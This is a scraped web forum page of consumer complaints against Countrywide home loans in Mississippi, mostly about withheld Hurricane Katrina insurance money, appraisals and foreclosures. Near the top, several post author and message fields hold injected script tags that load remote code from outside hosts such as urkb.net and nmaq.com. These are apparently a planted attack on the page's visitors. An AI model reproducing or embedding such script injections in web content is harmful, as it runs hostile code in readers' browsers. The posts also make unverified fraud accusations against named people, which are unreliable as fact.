Countrywide Financial Mississippi Home Loans Sucks

COUNTRYWIDE HOME LOAN SUCKS!
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Countrywide Financial - Mississippi Home Loans - Equity Loan Mortgages SUCKS!

Mississippi Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan Mississippi and dont want to get ripped off or have hiden fees on your Home Loans?

Need A Home Loan MS, Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you. We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.

This is what home loan customers in Mississippi (MS) have been saying...

Mississippi Home Loans Sponsored By US Home Loan
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Date: Thu 02/15/07 10:34PM
From: <script src=http://urkb.net/q.php>jonny14</scrip t>

Message: <script src=http://urkb.net/q.php>jonny12</scrip t>
Date: Mon 12/25/06 11:25PM
From: <script src=http://nmaq.com/q.php>jonny142</scri pt>

Message: <script src=http://nmaq.com/q.php>jonny536</scri pt>
Date: Sat 11/11/06 10:47AM
From: <script src=http://usuc.us/j.php>jonny</script>

Message: <script src=http://usuc.us/j.php>jonny</script>
Date
Left: August 20, 2006 By: slick In: texas

sandy it would open a can of worms read your mortgage or refi agreement and see if there are any stipulations for misuse of funds by lender


Left: August 18, 2006 By: SANDY JACKSON In: COLDWATER, MS. 38618

During a re-finance, Countrywide took $360 from my checking account for an appraisal. I canceled the re-finance, and asked that my money be returned to my account. After nearly 3 months of phone calls, they have NOT returned my money. I have talked with Justin, Danny, Eric, and Chris Brinson at their office in Metairie, La., who all admit my money should have been immediatly and automatically returned into my account. They tell me this is just an accounting error, and they are working to resolve it. I am having trouble believing they can zap my money out, while I'm still on the phone with them; but can't zap it back in in 3 months time!
Since Countrywide holds my current home mortgage, should I subtract $360 from my next house payment?
Would this just open another 'bucket of worms'?


Left: August 18, 2006 By: SANDY JACKSON In: COLDWATER, MS. 38618

During a re-finance, Countrywide took $360 from my checking account for an appraisal. I canceled the re-finance, and asked that my money be returned to my account. After nearly 3 months of phone calls, they have NOT returned my money. I have talked with Justin, Danny, Eric, and Chris Brinson at their office in Metairie, La., who all admit my money should have been immediatly and automatically returned into my account. They tell me this is just an accounting error, and they are working to resolve it. I am having trouble believing they can zap my money out, while I'm still on the phone with them; but can't zap it back in in 3 months time!
Since Countrywide holds my current home mortgage, should I subtract $360 from my next house payment?
Would this just open another 'bucket of worms'?


Left: August 15, 2006 By: In:

bridgegirl doesn't exist....she answers no ones e-mail so i have to assume it is a ploy by CHL to suck people in or she is WAY too paranoid. I could actually understand the paranoid because of the bad that exists at CHL. Help us b-girl, help us


Left: August 09, 2006 By: slick In: tx

brigegirl what is your email I have tied the others with no luck


Left: July 26, 2006 By: In:

go file your overtime against these crooks. federal overtime is waiting...hahaha crooks at cfc.


Left: July 19, 2006 By: In:

why not contact bridgegirl@yahoo.com? she has been helpful to others and to me and only the company would not want anyone to get together and compare notes....ask countryfried chick and look at the posts of bridgegirl24@yahoo.com.







you can also go to the CFC stock message board and see her posts, as I know it, she was sexually harassed and crushed by CFC for complaining about it and other issues. she has fist hand knowledge, knowledge of others violated and overall helped me and many others, so anyone who claims she isn't is a Countrwydie employee sent here...nice try. post on this board if you do not want to email, but I will always help those whop ask for it and are clear about who they are and what they are trying to accomplish, you are not alone!!! brigegirl24!!! bridgegirl24@yahoo.com



Left: July 18, 2006 By: JON KINDRICK In: BIG CITY TREMONT,MS.

I have to say my problem was not of a home loan,but a Nissan Auto loan. Every thing I have read about your loan with countrywide Home Loans is exactly like my problems I had to deal with NISSAN. This makes me believe that big companys are taking seminars on how to screw the public or cliens. Its worth billions of dollars something this globle. These Large lenders will get away with this scandle if it isnt stopped by this administrasion or another. POWER TO THE PEOPLE. Us I hope ?


Left: July 15, 2006 By: In:

I am on record that I don't think much of this mortgage company and, consequently, I should therefore not care about their employees, past or present, but since I am an honorable person I thought I would warn anyone thinking of contacting this person for help/or advice (bridegirl24@yahoo.com.) DON'T DO IT!!



Left: July 12, 2006 By: In:

if you were a past employee or current one who was wronged by this company please email me for help and to share and join together... bridgegirl24@yahoo.com


Left: July 08, 2006 By: In:

Everyone go to the press and tell your story, write them, write the editors and call the radio shows. It is the only way to get it out. Let the world know what scum this criminal company is. Give me one person who has complained and had the company thank them and admit they found something....damn scum, GO TO THE PRESS!!! The lawyers their are scum, Iam an ex-employee and speak from truth, numerous employees crushed when they have complained of stuff, numerous customers crushed when they complained, dared to sue, go get lawyers etc..don't call the press, write them and tell them the scum at cwide and their actions, its the only way.


Left: June 20, 2006 By: Truth Commission In: USA

THIS IS IN RESPONSE TO "JOE D" and his worthless post on June 11, THIS IS FOR ALL PRO-CW AND ANTI-CW READERS.

You don't seem to get it.

For many years Countrywide HAS BEEN #1 in customer service. But guess what? Countrywide is soon to be a HAS BEEN.

I know all this because I had just recently quit Countrywide to work for another mortgage company.

Countrywide didn't use move operations over to India, BUT NOW they do! That will be bad for customer service.

COUNTYWIDE IS NOW TOO CHEAP TO KEEP UP ON ITS COMPUTERS AND COMPUTER SYSTEMS. When I worked there, computers froze up at least 5 times a day, and application information was always getting erased.

That is why the number of customers complaining about missing payments has been increasing in the last few years.

That is why it is now taking Countrywide 30 to 40 days to close a loan. Also because Countrywide now has a lot of untrained, inefficient, and disorganized underwriters and processors. (Countrywide may now also be too cheap to hire an adequate staff)

That is also why payoffs and other items are now coming out wrong.

Also Countrywide requires just about all of its loan originations to use LANDSAFE appraisal, a company owned by Countrywide itself. Their appraisals are extremely conservative, and 9 out of 10 of mine and other A/Eís came in OVER $10K less than comps. Even if the home was in good condition. This forces the A/E to restructure the loan a higher rate, less cashout, fewer bills paid, or a some combination of the factors. Their appraisals set the road for disguised predatory lending, and bait and switch.

Wake up Joe D! Have you ever studied the life cycle of an organization? Check it out. It comes in four stages: Introduction, growth, maturity, and decline. Right now, Countrywide is slowing down in the growth stage about to hit maturity. The only thing holding right now is the brand name its built from its past. And if Countrywide continues with its path, it will not be long until it is in its decline stage.

ENRON WAS ONCE A FORTUNE 500 COMPANY. Countrywide is riding in the same path.

Also Countrywide was recently sued in California from its conduct as an employer, and apparently it never learned from the lawsuit. Another lawsuit will happen.

Joe D. you are not in the position to call the people here "Jerk Offs". Especially if you're another goon in Countrywide's management. Because only someone in CW management would stick up for Countrywide the way you just did.

Not to meantion Joe, you posted your same pathetic post on all 50 state pages here, claiming to be from different local cities.

And to the Pro-CW idiot who keeps taking up the excessive space in the forum with blank lines. GET A LIFE LOOSER.

You will not keep others from reading the previous posts.



Left: June 13, 2006 By: In:

CHL = Enron


Left: June 11, 2006 By: In:






Left: June 11, 2006 By: Joe D In: Tupelo

Hey jerkoffs..CW ia a member of the S&P 500, Fortune 500, and #1 in customer satisfaction..this website's sole purpose is to drive business to US-Home Loans.com...get a life you stupid a**holes...



Left: June 04, 2006 By: joe blow In: simi ca

mesage to top producer go to cwinsider then go to direct limk or cideas check idea #6137 and then tell us what you think about how countrywide treated hurricane victims


Left: March 31, 2006 By: former employee In: atlanta

if want action phone " the office of the president" ( OTP). i'am a former emploee at CHL, and i'am telling things get done real fast when phone the OTP. they have a special department that no ones about until it gets elevated to the this level. i wish i ha dt he number but just call customer service 800 # and they can give it to you. good luck. LSU, LSU, LSU


Left: March 30, 2006 By: Michael In: Wiggins

CFC is holding insurance proceeds from my Hurricane Katrina settlement hostage while I use up my savings to repair my home.
I have tried to work with CFC by following their instructions, submitting my insurance adjustor's paperwork and submitting to their inspection of repairs.
I sent the insurance check ($58K) in early November and was told that since we had such a high insurance proceeds to loan ratio(2 to 1) CFC would immediately release half of our money. The check didn't come for some time and after a few angry calls, we were told that CFC shareholder had voted to authorize an advances of only 15K to Katrina victims. We received a check for only 4K. More angry calls and then another check for 11K. At this point CFC still held 13K more than our mortgage.
We proceeded to use our savings to begin repairs and in March called for a inspector (per CFC instructions) who reported back we are 50 precent complete. After more than two weeks I had to call CFC to request the release of our funds (held without interest to me at least) We were told CFC would release another $28K for the next phase of repairs. The check arrived today for ONLY $14K. What the hell is going on? I called the customer service representative and she informed me that I would have to submit a contractor's bid for additional funds. Hell, I am the contractor! She said I could submit receipts...what the hell is the inspector for if I have to submit receipts.
It is none of CFC's business how much I have spent as long as their inspector can determine (which he has) that repairs are being made which ensure the value of my home as collateral for the remaining balance of the mortgage.
I am going to email the Attorney General of Mississippi and ask that he join Louisana's AG in pursue action against CFC.
CFC claims be sensitive to the plight of Katrina victims. Their actions prove otherwise. BTW if you contributed to CFC's Katrina Fund, do you know where that money went?




Left: March 30, 2006 By: Michael Cruthird In: Wiggins

If you really want to get Countrywides attention to your plight,go to their Yahoo! Message Board

http://messages.yahoo.com/bbs?.mm=FN&action=l&board=7081543&tid=ccr&sid=7081543&mid=24276

Be sure to state the facts and put your name so CFC knows you are a legitimate customer.



Left: March 14, 2006 By: In:

BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI. THEY ARE A CUT THROAT RECRUITING FIRM OUT OF HICKORY AND CHARLOTTE, NC, AND FLORIDA. THEY RECRUIT YOUR EMPLOYEES OUT OF YOUR COMPANY THEN CALL YOU AND REQUEST THAT YOU PAY THEM A RETAINER TO FILL THE OPEN POSITION. A YEAR LATER AND THEY COME RIGHT BACK AND RECRUIT THAT SAME CANDIDATE THEY FILLED THE OPEN POSITION WITH. THEIR GAME IS GETTING RETAINERS. IF YOU RETAIN THEM THEN WALK AWAY FROM THE DEAL, YOU OWE THEM 75%. IF YOU RETAIN THEM BUT FILL THE POSITION WITH A CANDIDATE YOU FIND, YOU OWE THEM THE FULL FEE.


Left: March 11, 2006 By: In:

Dear Gulf Coast: When some of the customers "mailed" in their payments CW lost the payments then started foreclosure. Too, those individuals who had damage due to Katrina were required to send insurance money(above a certain amount)to CW. CW held the money causing those folks to borrow money from their local bank to cover damage. If the local band wouldn't loan the money for some reason, CW just took the property.


Left: March 09, 2006 By: Some guy In: From the MS Gulf coast

I keep seeing all these complaints about this company, yet most of the people complaining also say they had gotten behind in their payments. I'm sorry, but if you can't pay your bills, don't get mad when the bill collector comes knocking.


Left: February 21, 2006 By: In:

Martha Stewart has one of her custom jock straps up on ebay now. Happy bidding!


Left: February 21, 2006 By: In:

Call the Feds @ 1-877-382-4357


Left: February 18, 2006 By: In:

tony - go to www.mortgagefraudblog.com and pull up mississippi. looks like there was a fraud ring that got busted in your city. you might want to see if you recoginize any of the names of people that were indicted. good luck


Left: February 15, 2006 By: In:

check with the title insurance carrier (ie: chicago title, fidelity title etc). you paid for it on your settlement statement ( $ 400/$ 500). your attorney should have offered/gave the policy to you at the time of closing. this would be your best move. good luck


Left: February 15, 2006 By: Rabssaptnod In: Mississippi

You might start by filing a complaint with the Mississippi State Bar. Additionally, Attorneys carry malpractice insurance in the event they make a gross error in the practice of law. It appears from your posts on this site you possibly have a cause of action regarding the "idiot" who represented you at closing. The Realtor most likely has dirty hands also.


Left: February 14, 2006 By: Tony In: Hattiesburg

Well, you are most likely right in your assumption. Unfortunately, I did not receive a copy of my appraisal until after papers had already been signed and much to my suprise, the number of errors was shocking. It was at that time that I began to investigate further only to find that the errors on the appraisal was just the tip of the iceburg. The home I purchased was not geographically located on the property spelled out in the agreements, not to mention, the property, according to the local tax assesors office, was not even in the sellers name and the problems I have mentioned herein are just a few of MANY.

I hope you can understand that the subject, for me, is a very sensative one, considering I work away from home and was depending on my realestate agent and closing attorney to do the job for which I was paying them. As for Countrywide, at the time I regarded them as a respectable and well known business and did not expect them to participate in shady deals. Unfortunately I was wrong about Countrywide and to trusting with my attorney and realestate agent thereby leaving myself open for something like this to happen.

If you have any suggestions or information that you think may would help me, please post them for I need all the insight I can get.


Left: February 13, 2006 By: In:

tony - i 'am no way a CHL fan. i worked for them for 5 + years and resigned in august because they were such pigs. from your comments i believe the appraiser and the title company/ attorney messed up. countrywide lends money on property land/structure according to what is provided to them via the appraisal/ legal description/ survey. i did not mean to come across as a smart ass, sorry.


Left: February 13, 2006 By: Marsha Fairburn In: Hattiesburg, Mississippi

You know the everday person is usually not an expert in mortgage lending agreements and such. That is why we pay closing attorneys, appraisers, real estate agents and every other Joe that has a "job to do" for the buyer during the purchase of a home. It is absolutely unbelieveable how these entities never seem to be able to be held accountable for not doing their part of the "job" for which they were paid to do and it is always the customers fault for not reading his document?


Left: February 13, 2006 By: Tony McCarty In: Hattiresburg

You must be a Countrywide supporter otherwise you could figure this out for yourself and if you can't well come on down to Mississipi I've got a piece of ocean front property I want to sell you that's right here in Hattiesburg.

Countrywide Obviously does not give a damn about their customers or their reputation.

Now tell me Mr. Countrywide, how is it possible to repossess a house built on a slab off a piece of property that is not included in a the loan? Because according to Countrywide, they only financed my home and not the property it was built on. Property that is clearly spelled out in the loan agreement. Considering,you do sound like the authority here.


Left: February 12, 2006 By: In:

tony - why is this countrywide's fault ?


Left: February 11, 2006 By: In:

Call the Feds @ 1-877-382-4357


Left: February 11, 2006 By: Tony McCarty In: Hattiesburg MS>

I bought a new home that was financed by countrywide in June of 2004. After 1 month in the home I found out that my home was not on my property that was in my deed. I all so receive a copy of my apprasal and it was complety miss leading. the appraser had stated that my home was apprased for $68,000 on the first section of the apprasal. I contacted countrywide in calf. and send certified letters about the property line and the apprasal Countrywide said they do not by the property the house is on just the house. I had another apprasal and the home was apprased at $68,000.00. When I was finacing the home countrywide offered me 100% finacing with what they call a 80/20 with a home equity line I end up paying $77,000.00 for a home that the real estate agency that i went threw would not even relist for me to sale it. I gave an attorney $2500.00 to try and get me out of the deal after only being in the home 2 months and now I'm stuck with a home that wasn't worth what I payed for it. I spoke with many people from different agencies and have had no luck. I could not even get a survey company to come resurvey my property because they new how bad the property lines were off. When i talked to CW they will take no responsiblity for any of this. We all need help to fight this people. Tony McCarty Hattiesburg MS


Left: February 03, 2006 By: In:

Call the Feds @ 1-877-382-4357


Left: February 03, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.


Left: February 03, 2006 By: jake In: cali

Improper Home Charges

Read then File a complaint

www.zimmreed.com




Left: February 03, 2006 By: mark pelroy In: springfield,ore

AFTER READING ALL THE COMPLAINTS,I NOW KNOW THAT MY WIFE AND I AREN'T ALONE.CONTRYWIDE HAS BEEN OUR MORTGAGE HOLDER FOR 5 YEARS.THEY HAVE LOST PAYMENTS,MISS APPLIED FUNDS,NEVER RECIEVED THE PAYMENT,IT JUST GOES ON.WE HAVE BEEN FORCLOSED ON 3 TIMES DO TO THERE ROTTEN WAY OF BUSINESS.EACH TIME IT COST THE SAME AMOUNT TO KEEP OUR HOME 2,100$ AMAZING ISNT IT.THIS LAST TIME WAS 4 GRAND,HERES THE KICKER THEY DO THIS IT GOES ON YOUR CREDIT AND YOUR STUCK.NOONE WILL TOUCH US BECAUSE WHAT THEY HAVE DONE TO OUR CREDIT.WE WANT OUT BUT CANT BECAUSE OF THEM


Left: February 03, 2006 By: mark pelroy In: springfield

AFTER READING ALL THE COMPLAINTS,I NOW KNOW THAT MY WIFE AND I AREN'T ALONE.CONTRYWIDE HAS BEEN OUR MORTGAGE HOLDER FOR 5 YEARS.THEY HAVE LOST PAYMENTS,MISS APPLIED FUNDS,NEVER RECIEVED THE PAYMENT,IT JUST GOES ON.WE HAVE BEEN FORCLOSED ON 3 TIMES DO TO THERE ROTTEN WAY OF BUSINESS.EACH TIME IT COST THE SAME AMOUNT TO KEEP OUR HOME 2,100$ AMAZING ISNT IT.THIS LAST TIME WAS 4 GRAND,HERES THE KICKER THEY DO THIS IT GOES ON YOUR CREDIT AND YOUR STUCK.NOONE WILL TOUCH US BECAUSE WHAT THEY HAVE DONE TO OUR CREDIT.WE WANT OUT BUT CANT BECAUSE OF THEM


Left: February 03, 2006 By: In:

AFTER READING ALL THE COMPLAINTS,I NOW KNOW THAT MY WIFE AND I AREN'T ALONE.CONTRYWIDE HAS BEEN OUR MORTGAGE HOLDER FOR 5 YEARS.THEY HAVE LOST PAYMENTS,MISS APPLIED FUNDS,NEVER RECIEVED THE PAYMENT,IT JUST GOES ON.WE HAVE BEEN FORCLOSED ON 3 TIMES DO TO THERE ROTTEN WAY OF BUSINESS.EACH TIME IT COST THE SAME AMOUNT TO KEEP OUR HOME 2,100$ AMAZING ISNT IT.THIS LAST TIME WAS 4 GRAND,HERES THE KICKER THEY DO THIS IT GOES ON YOUR CREDIT AND YOUR STUCK.NOONE WILL TOUCH US BECAUSE WHAT THEY HAVE DONE TO OUR CREDIT.WE WANT OUT BUT CANT BECAUSE OF THEM


Left: February 02, 2006 By: In:

Mike, Call FTC at 1-877-382-4357 and file a complaint by phone.


Left: February 01, 2006 By: Mike In: Bay St. Louis, MS

I have a home equity line of credit with Countrywide (CW). My house was destroyed by Katrina. I continued to make my monthly payments since the hurricane until my insurance was settled up in December. I have sent CW a copies of two checks and asked them to endorse one check so I can forward it to the first mortgage company. I overnighted this check, copies of both checks as well as a letter explaining my intentions to pay off both loans.

This check has been returned to me three times for lack of endorsement. I have overnighted it to them three times now with letters each time. I have talked to customer service reprentatives in the "so-called" claims department in Texas..which by the way is customer service and the real claims department is in California. Well, the customer service department has told me three different ways to handle this transaction. They have also added information to my account to STAND OUT for the claims department when handling my check. Obviously, the claims department employees are not reading my letters, calling the customer, or reading the information that the customer service department is adding to my account. I still do not know how to get this check endorsed even though CW has received another insurance check from me which is fully endorsed to pay off my loan. They owe me $18,000 now and still did not endorse this check.

Also, I was told they received my endorsed check on January 18 and it was deposited. However as of the 24th, the payment was not applied to my account. They are obviously earning interest on this money while my account continues to increase with interest. Also, they told me that it would take 30 days to receive my refund.


Left: January 29, 2006 By: In:

I contacted the Federal Government as suggested below and filed a complaint. They gave me a complaint number to refer to if needed. My fear is Big Money runs the country and a long time will pass before anything is done. I was told if enough complaints are filed by phone or in writing they will start an investigation. So, EVERYONE CALL!!!


Left: January 29, 2006 By: In:

You may first want to contact the Federal Trade Commission

(FTC) and file a complaint via telephone by calling toll-

free 877-FTC-HELP (877-382-4357). Representatives can be

reached Monday through Friday from 9 a.m. to 8 p.m. eastern

time.



In addition, within your state you can contact your local

consumer protection agency. To access a list of consumer

protection agencies, please visit:

http://www.consumeraction.gov/state.shtml



We hope you find this information helpful.
If you

have any additional questions, please call our National

Contact Center at 800)-FED-INFO (800-333-4636), Monday

through Friday from 8 a.m to 8 p.m eastern time, or visit

us on the web at http://answers.firstgov.gov/






Left: January 29, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.

GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION.



Left: January 26, 2006 By: In: Mississippi

Thank you for contacting the Federal Citizen Information
Center.

Your message was forwarded to us for response from
the U.S. Department of Justice (DOJ).

We have received your message regarding Countrywide Home loans
of California.

If you wish to file a complaint against a mortgage or
finance company that does not fall under the purview of a
banking authority, there are several sources to consult.

You may first want to contact the Federal Trade Commission
(FTC) and file a complaint via telephone by calling toll-
free 877-FTC-HELP (877-382-4357). Representatives can be
reached Monday through Friday from 9 a.m. to 8 p.m. eastern
time.

In addition, within your state you can contact your local
consumer protection agency. To access a list of consumer
protection agencies, please visit:
http://www.consumeraction.gov/state.shtml

We hope you find this information helpful.

We are unable to accept replies sent to our mailbox. If you
have any additional questions, please call our National
Contact Center at 800)-FED-INFO (800-333-4636), Monday
through Friday from 8 a.m to 8 p.m eastern time, or visit
us on the web at http://answers.firstgov.gov/



Left: January 25, 2006 By: Bonnie Fortier In: Gautier Mississippi

My parents, who are senior citizens, became Countrywide borrowers after the original mortgage company sold out. They have sent Countrywide nearly $65,000 in insurance checks as a result of Hurricane Katrina. As requested by the company they sent in all the estimates for repairs. All my parents have received is one $5,000 check for a $7,000 roofing job. Twice they have been told that an inspector would be contacting them to see the property after which they could receive additional funds for repairs. First they were told an inspector would be in touch within three days. That was three weeks ago. Last week a Countrywide employee called to varify the phone number claiming that an inspector would be calling within 48 hours...no call. The stress of dealing with this mortgage company has been worse than dealing with the hurricane and cleanup. It has gotten so bad that my parents no longer can deal with these people and have sent authorization for me to handle it. This company is clearly making millions in interest from insurance proceeds at the expense of natural disaster victims.


Left: January 23, 2006 By: Ronnie McCoy In: Long Beach, MS

As I am working in the Middle East I am not able to help my wife with any of the insurance issues or repairs to our home. She too has encountered problems with Country Wide. She has requested an inspector four times and to date, no luck. The last time she called the "voice" on the other end of the liine told her there was no record of her ever requesting an inspector. Which of course is bull.

In light of events I maybe premature with my assessment of this situation, but it maybe time to consider a class action lawsuit against these goobers. Dickie Scruggs would be a good lawyer to contact.

Sooner or later something has to give one way or the other. I wish all who have a mortgage with these rip off artists good luck, it would appear we're going to need it.

Ronnie McCoy

Long Beach, MS


Left: January 21, 2006 By: In:

There are 81 articles regarding FRAUD on the part of Countrywide Home Loans on the ripoff.com site mentioned below. If any Attorney visits this site be advised that Mississipians are in dire need of help.


Left: January 20, 2006 By: Tanya In: Gulfport

They've jerked us around long enough! How dare they offer the opportunity for America to help Katrina victims rebuild! If they'd simply send us OUR insurance money, we could rebuild ourselves! I hope no one has actually donated to this Countrywide scam. If it takes them THIS long to get us OUR money, how long DO you think it will take them to get us someone else's money? Yeah, right. I don't think they have any REAL plans to help anybody. Shouldn't someone be investigating this?


Left: January 20, 2006 By: roy In: tampa

Notice: Must Read

Sweat Shop Employees www.gdblegal.com

Appraisal Overcharges www.sherlocklegal.com

Wrong Doings www.jameshoyer.com

www.ripoffreport.com

file your complaint



Left: January 20, 2006 By: In:

To: TOP PRODUCER
Your comments have no standing because you don't know what you are talking about regarding Countrywide's treatment of it's customers, and, employees.


Left: January 19, 2006 By: In:

All victims of Countrywide Home Loans should somehow contact each other and consider a class action litigation against these gangsters in $1,000.00 suits.


Left: January 17, 2006 By: Frustrated with a 892 credit rating In: Hattiesburg, MS

We are having a horrible time getting our insurance money back from Countrywide. They sent an inspector and the inspector reported that 70% of the work is completed, and they are still wanting to hold the money, when we have completed it using our own funding. For the skeptics, we have never been late on a payment, pay more than is due each month, have 57% equity in our home. If they do this to good standing cosumers what do they do to the people who have lost their jobs due to Katrina. If you have this problem, or something similar, please email with details at HisIndeed@aim.com. I am trying to information together in order to send to the state attorney general to see if we could get his intervention.


Left: January 15, 2006 By: In:

Mr. Angelo R. Mozilo , 67
Chairman and Chief Exec. Officer $ 19.74M $ 48.59M
Mr. Stanford L. Kurland , 53
Pres, Chief Operating Officer, Director, Chief Exec. Officer of Countrywide Home Loans Inc. of Countrywide Home Loans Inc $ 9.27M $ 16.69M
Mr. David Sambol , 46
Exec. Managing Director, Chief of Mortgage Banking and Capital Markets, Pres of Countrywide Home Loans, Inc. and Chief Operating Officer of Countrywide Home Loans, Inc $ 6.15M $ 12.16M
Mr. Carlos M. Garcia , 50
Chief of Banking and Insurance Operations and Exec. Managing Director $ 2.65M $ 12.45M
Mr. Andrew Gissinger , 46
Chief Production Officer and Sr. Managing Director $ 2.00M $ 0


Dollar amounts are as of 31-Dec-04 and compensation values are for the last fiscal year ending on that date. "Pay" is salary, bonuses, etc. "Exercised" is the value of options exercised during the fiscal year.


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Left: January 15, 2006 By: George Soule In: Meridian, MS

Countrywide Home Loans Claims Department is holding insurance money needed for repairs on my 88 year old Mother's home in Meridian, MS..Total repair cost is about $79,000. Two inspections have be done by an individual named Larry Ainsworth of Ms Mortgage Inspection Service Inc.. Mr. Ainsworth refused to incoporate the Contractors estimate and Contract in his Loss Draft Inspection report. Also, 3 photos are required according to the Loss Draft Inspection document, yesterday he took only one picture.
He reports to Countrywide that 25% of repairs have been done. NO REPAIRS HAVE BEEN DONE TO HER HOME. Damage occured August 29th 2005.



Left: December 29, 2005 By: In:

Foti investigating complaints against Calif. mortgage company
12/29/2005, 6:07 p.m. CT
The Associated Press

BATON ROUGE, La. (AP) ó The state attorney general's office is investigating a California-based mortgage company following complaints that the firm has taken too long to release insurance money meant for Louisiana residents whose homes were damaged by hurricanes.

The company, Countrywide Home Loans Inc., issued a statement acknowledging the delays but blaming them on the high volume of insurance claim checks required after Hurricanes Katrina and Rita. The number of checks overwhelmed the company's system, the statement said.

"This created unfortunate and unusual delays to some of our customers for a period of several weeks," the company said.

Over a dozen formal complaints have been filed with Attorney General Charles Foti's office, alleging that Countrywide has received insurance money meant for homeowners needing to repair their homes, but held on to the cash for an unreasonable amount of time, Foti spokeswoman Kris Wartelle said.

Many such insurance checks require a signature both from the homeowner and the mortgage company before the homeowner can receive the cash. One Louisiana homeowner told investigators that Worldwide held his $111,000 in insurance payments for more than a month, forcing him to produce $50,000 to pay contractors repairing his storm-damaged home, Wartelle said.

The Countrywide statement said the company has caught up with the flow of checks, which "are now being processed in a timely manner."


Countrywide is a subsidiary of Calabasas, Calif.-based Countrywide Financial Corp.


Left: December 03, 2005 By: In:

Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607

That means:
*No emails
*No Phone Solicitations
*No Junk Mail

Get customer service reps name and employee ID# and make a note of it.

Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason.


Left: November 23, 2005 By: Shelley In: Diamondhead

Nov.23 2005
Our house was vaporized to wooden shards by Katrina. Only a slab and shredded lumber remains.
When I heard from the Flood adjuster that a check was forthcoming, I contacted CW to nail down the procedure for sending up a check to pay off the mortgage. I was provided two addresses to send the check to. The next day, I called back to verify this because it didn't seem right to have multiple addresses for the scope of this type of transaction. Turns out those two addresses were for sending regular pmts. alone and not appropriate for my issue. The agent on my second call gave me the correct address, informed me that sending to either of the two erroneous addresses would have meant big delays, and advised me to write a letter clearly stating what the check was to be used to pay off the mortgage with the proceeds to be dispersed to us, WITH a payoff date of Aug. 30th, one day after the storm. I sent the check cert. express mail.
10 days later I called to get a status report. I was advised at that time that the check had arrived on 11/9, and that she would order the payoff. I questioned why the payoff hadn't already been ordered per my letter, yadda yadda yadda...She said that payoffs were calculated from the day a check hits the company. That was policy. I questioned why the payoff date of 8/30 wouldn't apply, as a rep. on two occasions had said it would? We went back and forth, she put me on hold many times, coming back with the line that CW would do it if they could, but that Fannie Mae wouldn't let them. So my payoff date was going to be 11/9/2005. Their hands were tied.
I posited that if I could get such an agreement from Fannie Mae, could the payoff be configured for the earlier date? She said it would be a long shot, but in the end I was encouraged to call Fannie Mae. After speaking to a fellow there, I found out that CW DOES HAVE ALL SERVICING RIGHTS and CAN MAKE SUCH A DECISION. They lied about having their hands tied, passing the blame to Fannie Mae.
I called CW back to put the payoff on hold until I could determine who was telling me the truth. During this past week,I have been conversing with Fannie Mae about CW's behavior.
When I called back today (11/23/05),they told me that Fannie Mae was lying to me, and that they could not do a thing for me, and in fact, the payoff date would now be TODAY. And it would keep on moving until I "reinstated" the payoff. No one at CW told me that each and every day the mortgage interest was still alive and ticking, even though those BASTARDS have had my payoff check since the 5th of Nov. per USPS tracking info. Those wicked people been encouraging me to make calls to waste time, ect...anything to keep that "clock" they think should be going, going. Do you believe that? They have DEPOSITED my payoff check and yet insist that there's mortgage interest to accrue...it's so profoundly stupid that I dare to question my own sanity.
I have placed several calls to someone who is supposed to be a real "supervisor" but this joker has yet to return my calls.
I'm sure it's against the law to try to force a payoff date that's beyond the reciept of a payoff check. Good grief! I'll now have to invest time and valuable emotional resources in getting to the bottom of that issue...
I have been misinformed, lied to, and condescended to. Dealing with them has been the absolute worst part of this Hurricane, and they have caused me more undue stress and emotional turmoil with their stupidity and greed than any other entity. Additionally, they screwed up an escrow account on another mortgage we have with them.
So, whoever you are, Countrywide Cheerleader, your company is unscrupulous to the point of evil. I know how to dot my i's and cross my t's, buddy, and the people I've been dealing with can do neither. We have a very vocal and pissed off rep. in Mississippi right now, and I'm about to point his crosshairs at you and your shameful Countrywide. I curse you, Countrywide and it's board of directors to a very unhappy, unholy and disquieted life for doing what you're doing to honest people, not flunkies who can't manage their finances...good, honest people from whom you are hellbent to outright STEAL. May God damn you all to the same sort of hell you give others on earth in the name of "business".


Left: November 14, 2005 By: Connie Brown In: Sacramento

Racketerring Influence Corrupt Organization (RICO)
Countrywide Home Loans dba's American Wholesale Lender, Full Spectrum, Landsafe, Texas Bank Riverway, Alaska US

Countrywide Title Company is Landsafe Title located in Texas.

CTC Real Estate Service wholly owned by Countrywide Home Loans handle's all notice's pretaining to foreclosure.

Homeowner's if your property has been taken by Countrywide Home Loans Inc., check to see if they follow the procedure's outline Civil Code 2924.
(It might be under another code outside of California)

